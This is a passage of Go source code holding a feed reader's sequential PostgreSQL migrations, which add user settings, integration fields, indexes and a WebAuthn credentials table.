description)\n\t\t\t);\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE entries ADD COLUMN share_code text not null default '';\n\t\t\tCREATE UNIQUE INDEX entries_share_code_idx ON entries USING btree(share_code) WHERE share_code <> '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `CREATE INDEX enclosures_user_entry_url_idx ON enclosures(user_id, entry_id, md5(url))`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE feeds ADD COLUMN next_check_at timestamp with time zone default now();\n\t\t\tCREATE INDEX entries_user_feed_idx ON entries (user_id, feed_id);\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE feeds ADD COLUMN ignore_http_cache bool default false`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE users ADD COLUMN entries_per_page int default 100`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE users ADD COLUMN show_reading_time boolean default 't'`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `CREATE INDEX entries_id_user_status_idx ON entries USING btree (id, user_id, status)`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE feeds ADD COLUMN fetch_via_proxy bool default false`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `CREATE INDEX entries_feed_id_status_hash_idx ON entries USING btree (feed_id, status, hash)`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `CREATE INDEX entries_user_id_status_starred_idx ON entries (user_id, status, starred)`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE users ADD COLUMN entry_swipe boolean default 't'`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE integrations DROP COLUMN fever_password`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE feeds\n\t\t\t\tADD COLUMN blocklist_rules text not null default '',\n\t\t\t\tADD COLUMN keeplist_rules text not null default ''\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE entries ADD COLUMN reading_time int not null default 0`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE entries ADD COLUMN created_at timestamp with time zone not null default now();\n\t\t\tUPDATE entries SET created_at = published_at;\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\n\t\thasExtra := false\n\t\tif err := tx.QueryRow(`\n\t\t\tSELECT true\n\t\t\tFROM information_schema.columns\n\t\t\tWHERE\n\t\t\t\ttable_name='users' AND\n\t\t\t\tcolumn_name='extra';\n\t\t\t`).Scan(&hasExtra); err != nil && err != sql.ErrNoRows {\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = tx.Exec(`\n\t\t\tALTER TABLE users\n\t\t\t\tADD column stylesheet text not null default '',\n\t\t\t\tADD column google_id text not null default '',\n\t\t\t\tADD column openid_connect_id text not null default ''\n\t\t`)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif !hasExtra {\n\t\t\t// No need to migrate things from the `extra` column if it's not present\n\t\t\treturn nil\n\t\t}\n\n\t\t_, err = tx.Exec(`\n\t\t\t\tDECLARE my_cursor CURSOR FOR\n\t\t\t\tSELECT\n\t\t\t\t\tid,\n\t\t\t\t\tCOALESCE(extra->'custom_css', '') as custom_css,\n\t\t\t\t\tCOALESCE(extra->'google_id', '') as google_id,\n\t\t\t\t\tCOALESCE(extra->'oidc_id', '') as oidc_id\n\t\t\t\tFROM users\n\t\t\t\tFOR UPDATE\n\t\t\t`)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer tx.Exec(\"CLOSE my_cursor\")\n\n\t\tfor {\n\t\t\tvar (\n\t\t\t\tuserID           int64\n\t\t\t\tcustomStylesheet string\n\t\t\t\tgoogleID         string\n\t\t\t\toidcID           string\n\t\t\t)\n\n\t\t\tif err := tx.QueryRow(`FETCH NEXT FROM my_cursor`).Scan(&userID, &customStylesheet, &googleID, &oidcID); err != nil {\n\t\t\t\tif err == sql.ErrNoRows {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t_, err := tx.Exec(\n\t\t\t\t`UPDATE\n\t\t\t\t\t\tusers\n\t\t\t\t\tSET\n\t\t\t\t\t\tstylesheet=$2,\n\t\t\t\t\t\tgoogle_id=$3,\n\t\t\t\t\t\topenid_connect_id=$4\n\t\t\t\t\tWHERE\n\t\t\t\t\t\tid=$1\n\t\t\t\t\t`,\n\t\t\t\tuserID, customStylesheet, googleID, oidcID)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tif _, err = tx.Exec(`ALTER TABLE users DROP COLUMN IF EXISTS extra;`); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t_, err = tx.Exec(`\n\t\t\tCREATE UNIQUE INDEX users_google_id_idx ON users(google_id) WHERE google_id <> '';\n\t\t\tCREATE UNIQUE INDEX users_openid_connect_id_idx ON users(openid_connect_id) WHERE openid_connect_id <> '';\n\t\t`)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`\n\t\t\tCREATE INDEX entries_feed_url_idx ON entries(feed_id, url) WHERE length(url) < 2000;\n\t\t\tCREATE INDEX entries_user_status_feed_idx ON entries(user_id, status, feed_id);\n\t\t\tCREATE INDEX entries_user_status_changed_idx ON entries(user_id, status, changed_at);\n\t\t`)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`\n\t\t\tCREATE TABLE acme_cache (\n\t\t\t\tkey varchar(400) not null primary key,\n\t\t\t\tdata bytea not null,\n\t\t\t\tupdated_at timestamptz not null\n\t\t\t);\n\t\t`)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`\n\t\t\tALTER TABLE feeds ADD COLUMN allow_self_signed_certificates boolean not null default false\n\t\t`)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tCREATE TYPE webapp_display_mode AS enum('fullscreen', 'standalone', 'minimal-ui', 'browser');\n\t\t\tALTER TABLE users ADD COLUMN display_mode webapp_display_mode default 'standalone';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE feeds ADD COLUMN cookie text default ''`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`\n\t\t\tALTER TABLE categories ADD COLUMN hide_globally boolean not null default false\n\t\t`)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`\n\t\t\tALTER TABLE feeds ADD COLUMN hide_globally boolean not null default false\n\t\t`)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN telegram_bot_enabled bool default 'f',\n\t\t\t\tADD COLUMN telegram_bot_token text default '',\n\t\t\t\tADD COLUMN telegram_bot_chat_id text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tCREATE TYPE entry_sorting_order AS enum('published_at', 'created_at');\n\t\t\tALTER TABLE users ADD COLUMN entry_order entry_sorting_order default 'published_at';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN googlereader_enabled bool default 'f',\n\t\t\t\tADD COLUMN googlereader_username text default '',\n\t\t\t\tADD COLUMN googlereader_password text default '';\n\t\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN espial_enabled bool default 'f',\n\t\t\t\tADD COLUMN espial_url text default '',\n\t\t\t\tADD COLUMN espial_api_key text default '',\n\t\t\t\tADD COLUMN espial_tags text default 'miniflux';\n\t\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN linkding_enabled bool default 'f',\n\t\t\t\tADD COLUMN linkding_url text default '',\n\t\t\t\tADD COLUMN linkding_api_key text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`\n\t\t\tALTER TABLE feeds ADD COLUMN url_rewrite_rules text not null default ''\n\t\t`)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`\n\t\t\tALTER TABLE users\n\t\t\t\tADD COLUMN default_reading_speed int default 265,\n\t\t\t\tADD COLUMN cjk_reading_speed int default 500;\n\t\t`)\n\t\treturn\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`\n\t\t\tALTER TABLE users ADD COLUMN default_home_page text default 'unread';\n\t\t`)\n\t\treturn\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`\n\t\t\tALTER TABLE integrations ADD COLUMN wallabag_only_url bool default 'f';\n\t\t`)\n\t\treturn\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`\n\t\t\tALTER TABLE users ADD COLUMN categories_sorting_order text not null default 'unread_count';\n\t\t`)\n\t\treturn\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN matrix_bot_enabled bool default 'f',\n\t\t\t\tADD COLUMN matrix_bot_user text default '',\n\t\t\t\tADD COLUMN matrix_bot_password text default '',\n\t\t\t\tADD COLUMN matrix_bot_url text default '',\n\t\t\t\tADD COLUMN matrix_bot_chat_id text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE users ADD COLUMN double_tap boolean default 't'`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`\n\t\t\tALTER TABLE entries ADD COLUMN tags text[] default '{}';\n\t\t`)\n\t\treturn\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE users RENAME double_tap TO gesture_nav;\n\t\t\tALTER TABLE users\n\t\t\t\tALTER COLUMN gesture_nav SET DATA TYPE text using case when gesture_nav = true then 'tap' when gesture_nav = false then 'none' end,\n\t\t\t\tALTER COLUMN gesture_nav SET default 'tap';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations ADD COLUMN linkding_tags text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE feeds ADD COLUMN no_media_player boolean default 'f';\n\t\t\tALTER TABLE enclosures ADD COLUMN media_progression int default 0;\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations ADD COLUMN linkding_mark_as_unread bool default 'f';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t// Delete duplicated rows\n\t\tsql := `\n\t\t\tDELETE FROM enclosures a USING enclosures b\n\t\t\tWHERE a.id < b.id\n\t\t\t\tAND a.user_id = b.user_id\n\t\t\t\tAND a.entry_id = b.entry_id\n\t\t\t\tAND a.url = b.url;\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Remove previous index\n\t\t_, err = tx.Exec(`DROP INDEX enclosures_user_entry_url_idx`)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Create unique index\n\t\t_, err = tx.Exec(`CREATE UNIQUE INDEX enclosures_user_entry_url_unique_idx ON enclosures(user_id, entry_id, md5(url))`)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\treturn nil\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE users ADD COLUMN mark_read_on_view boolean default 't'`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN notion_enabled bool default 'f',\n\t\t\t\tADD COLUMN notion_token text default '',\n\t\t\t\tADD COLUMN notion_page_id text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN readwise_enabled bool default 'f',\n\t\t\t\tADD COLUMN readwise_api_key text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN apprise_enabled bool default 'f',\n\t\t\t\tADD COLUMN apprise_url text default '',\n\t\t\t\tADD COLUMN apprise_services_url text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN shiori_enabled bool default 'f',\n\t\t\t\tADD COLUMN shiori_url text default '',\n\t\t\t\tADD COLUMN shiori_username text default '',\n\t\t\t\tADD COLUMN shiori_password text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN shaarli_enabled bool default 'f',\n\t\t\t\tADD COLUMN shaarli_url text default '',\n\t\t\t\tADD COLUMN shaarli_api_secret text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`\n\t\t\tALTER TABLE feeds ADD COLUMN apprise_service_urls text default '';\n\t\t`)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN webhook_enabled bool default 'f',\n\t\t\t\tADD COLUMN webhook_url text default '',\n\t\t\t\tADD COLUMN webhook_secret text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN telegram_bot_topic_id int,\n\t\t\t\tADD COLUMN telegram_bot_disable_web_page_preview bool default 'f',\n\t\t\t\tADD COLUMN telegram_bot_disable_notification bool default 'f';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations ADD COLUMN telegram_bot_disable_buttons bool default 'f';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\t-- Speed up has_enclosure\n\t\t\tCREATE INDEX enclosures_entry_id_idx ON enclosures(entry_id);\n\n\t\t\t-- Speed up unread page\n\t\t\tCREATE INDEX entries_user_status_published_idx ON entries(user_id, status, published_at);\n\t\t\tCREATE INDEX entries_user_status_created_idx ON entries(user_id, status, created_at);\n\t\t\tCREATE INDEX feeds_feed_id_hide_globally_idx ON feeds(id, hide_globally);\n\n\t\t\t-- Speed up history page\n\t\t\tCREATE INDEX entries_user_status_changed_published_idx ON entries(user_id, status, changed_at, published_at);\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN rssbridge_enabled bool default 'f',\n\t\t\t\tADD COLUMN rssbridge_url text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`\n\t\t\tCREATE TABLE webauthn_credentials (\n\t\t\t\thandle bytea primary key,\n\t\t\t\tcred_id bytea unique not null,\n\t\t\t\tuser_id int references users(id) on delete cascade not null,\n\t\t\t\tpublic_key bytea not null,\n\t\t\t\tattestation_type varchar(255) not null,\n\t\t\t\taaguid bytea,\n\t\t\t\tsign_count bigint,\n\t\t\t\tclone_warning bool,\n\t\t\t\tname text,\n\t\t\t\tadded_on timestamp with time zone default now(),\n\t\t\t\tlast_seen_on timestamp with time zone default now()\n\t\t\t);\n\t\t`)\n\t\treturn\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN omnivore_enabled bool default 'f',\n\t\t\t\tADD COLUMN omnivore_api_key text default '',\n\t\t\t\tADD COLUMN omnivore_url text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN linkace_enabled bool default 'f',\n\t\t\t\tADD COLUMN linkace_url text default '',\n\t\t\t\tADD COLUMN linkace_api_key text default '',\n\t\t\t\tADD COLUMN linkace_tags text default '',\n\t\t\t\tADD COLUMN linkace_is_private bool default 't',\n\t\t\t\tADD COLUMN linkace_check_disabled bool default 't';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN linkwarden_enabled bool default 'f',\n\t\t\t\tADD COLUMN linkwarden_url text default '',\n\t\t\t\tADD COLUMN linkwarden_api_key text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN readeck_enabled bool default 'f',\n\t\t\t\tADD COLUMN readeck_only_url bool default 'f',\n\t\t\t\tADD COLUMN readeck_url text default '',\n\t\t\t\tADD COLUMN readeck_api_key text default '',\n\t\t\t\tADD COLUMN readeck_labels text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE feeds ADD COLUMN disable_http2 bool default 'f'`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE users ADD COLUMN media_playback_rate numeric default 1;`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t// the WHERE part speed-up the request a lot\n\t\tsql := `UPDATE entries SET tags = array_remove(tags, '') WHERE '' = ANY(tags);`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t// Entry URLs can exceeds btree maximum size\n\t\t// Checking entry existence is now using entries_feed_id_status_hash_idx index\n\t\t_, err = tx.Exec(`DROP INDEX entries_feed_url_idx`)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN raindrop_enabled bool default 'f',\n\t\t\t\tADD COLUMN raindrop_token text default '',\n\t\t\t\tADD COLUMN raindrop_collection_id text default '',\n\t\t\t\tADD COLUMN raindrop_tags text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE feeds ADD COLUMN description text default ''`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE users\n\t\t\t\tADD COLUMN block_filter_entry_rules text not null default '',\n\t\t\t\tADD COLUMN keep_filter_entry_rules text not null default ''\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN betula_url text default '',\n\t\t\t\tADD COLUMN betula_token text default '',\n\t\t\t\tADD COLUMN betula_enabled bool default 'f';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN ntfy_enabled bool default 'f',\n\t\t\t\tADD COLUMN ntfy_url text default '',\n\t\t\t\tADD COLUMN ntfy_topic text default '',\n\t\t\t\tADD COLUMN ntfy_api_token text default '',\n\t\t\t\tADD COLUMN ntfy_username text default '',\n\t\t\t\tADD COLUMN ntfy_password text default '',\n\t\t\t\tADD COLUMN ntfy_icon_url text default '';\n\n\t\t\tALTER TABLE feeds\n\t\t\t\tADD COLUMN ntfy_enabled bool default 'f',\n\t\t\t\tADD COLUMN ntfy_priority int default '3';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE users ADD COLUMN mark_read_on_media_player_completion bool default 'f';`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE users ADD COLUMN custom_js text not null default '';`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE users ADD COLUMN external_font_hosts text not null default '';`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN cubox_enabled bool default 'f',\n\t\t\t\tADD COLUMN cubox_api_link text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN discord_enabled bool default 'f',\n\t\t\t\tADD COLUMN discord_webhook_link text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `ALTER TABLE integrations ADD COLUMN ntfy_internal_links bool default 'f';`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN slack_enabled bool default 'f',\n\t\t\t\tADD COLUMN slack_webhook_link text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`ALTER TABLE feeds ADD COLUMN webhook_url text default '';`)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN pushover_enabled bool default 'f',\n\t\t\t\tADD COLUMN pushover_user text default '',\n\t\t\t\tADD COLUMN pushover_token text default '',\n\t\t\t\tADD COLUMN pushover_device text default '',\n\t\t\t\tADD COLUMN pushover_prefix text default '';\n\n\t\t\tALTER TABLE feeds\n\t\t\t\tADD COLUMN pushover_enabled bool default 'f',\n\t\t\t\tADD COLUMN pushover_priority int default '0';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE feeds ADD COLUMN ntfy_topic text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE icons ADD COLUMN external_id text default '';\n\t\t\tCREATE UNIQUE INDEX icons_external_id_idx ON icons USING btree(external_id) WHERE external_id <> '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`\n\t\t\t\tDECLARE id_cursor CURSOR FOR\n\t\t\t\tSELECT\n\t\t\t\t\tid\n\t\t\t\tFROM icons\n\t\t\t\tWHERE external_id = ''\n\t\t\t\tFOR UPDATE`)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer tx.Exec(\"CLOSE id_cursor\")\n\n\t\tfor {\n\t\t\tvar id int64\n\n\t\t\tif err := tx.QueryRow(`FETCH NEXT FROM id_cursor`).Scan(&id); err != nil {\n\t\t\t\tif err == sql.ErrNoRows {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t_, err = tx.Exec(\n\t\t\t\t`\n\t\t\t\tUPDATE icons SET external_id = $1 WHERE id = $2\n\t\t\t\t`,\n\t\t\t\tcrypto.GenerateRandomStringHex(20), id)\n\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`ALTER TABLE feeds ADD COLUMN proxy_url text default ''`)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations ADD COLUMN rssbridge_token text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`ALTER TABLE users ADD COLUMN always_open_external_links bool default 'f'`)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN karakeep_enabled bool default 'f',\n\t\t\t \tADD COLUMN karakeep_api_key text default '',\n\t\t\t\tADD COLUMN karakeep_url text default '';\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\t_, err = tx.Exec(`ALTER TABLE users ADD COLUMN open_external_links_in_new_tab bool default 't'`)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE integrations\n\t\t\t\tDROP COLUMN pocket_enabled,\n\t\t\t\tDROP COLUMN pocket_access_token,\n\t\t\t\tDROP COLUMN pocket_consumer_key;\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tALTER TABLE feeds\n\t\t\t\tADD COLUMN block_filter_entry_rules text not null default '',\n\t\t\t\tADD COLUMN keep_filter_entry_rules text not null default ''\n\t\t`\n\t\t_, err = tx.Exec(sql)\n\t\treturn err\n\t},\n\tfunc(tx *sql.Tx) (err error) {\n\t\tsql := `\n\t\t\tCREATE TYPE linktaco_link_visibility AS ENUM (\n\t\t\t\t'PUBLIC',\n\t\t\t\t'PRIVATE'\n  \t\t\t);\n\t\t\tALTER TABLE integrations\n\t\t\t\tADD COLUMN linktaco_enabled bool default 'f',\n\t\t\t\tADD COLUMN linktaco_api_token text default '',\n\t\t\t\tADD COLUMN linktaco_org_slug text default '',\n\t\t\t\tADD COLUMN 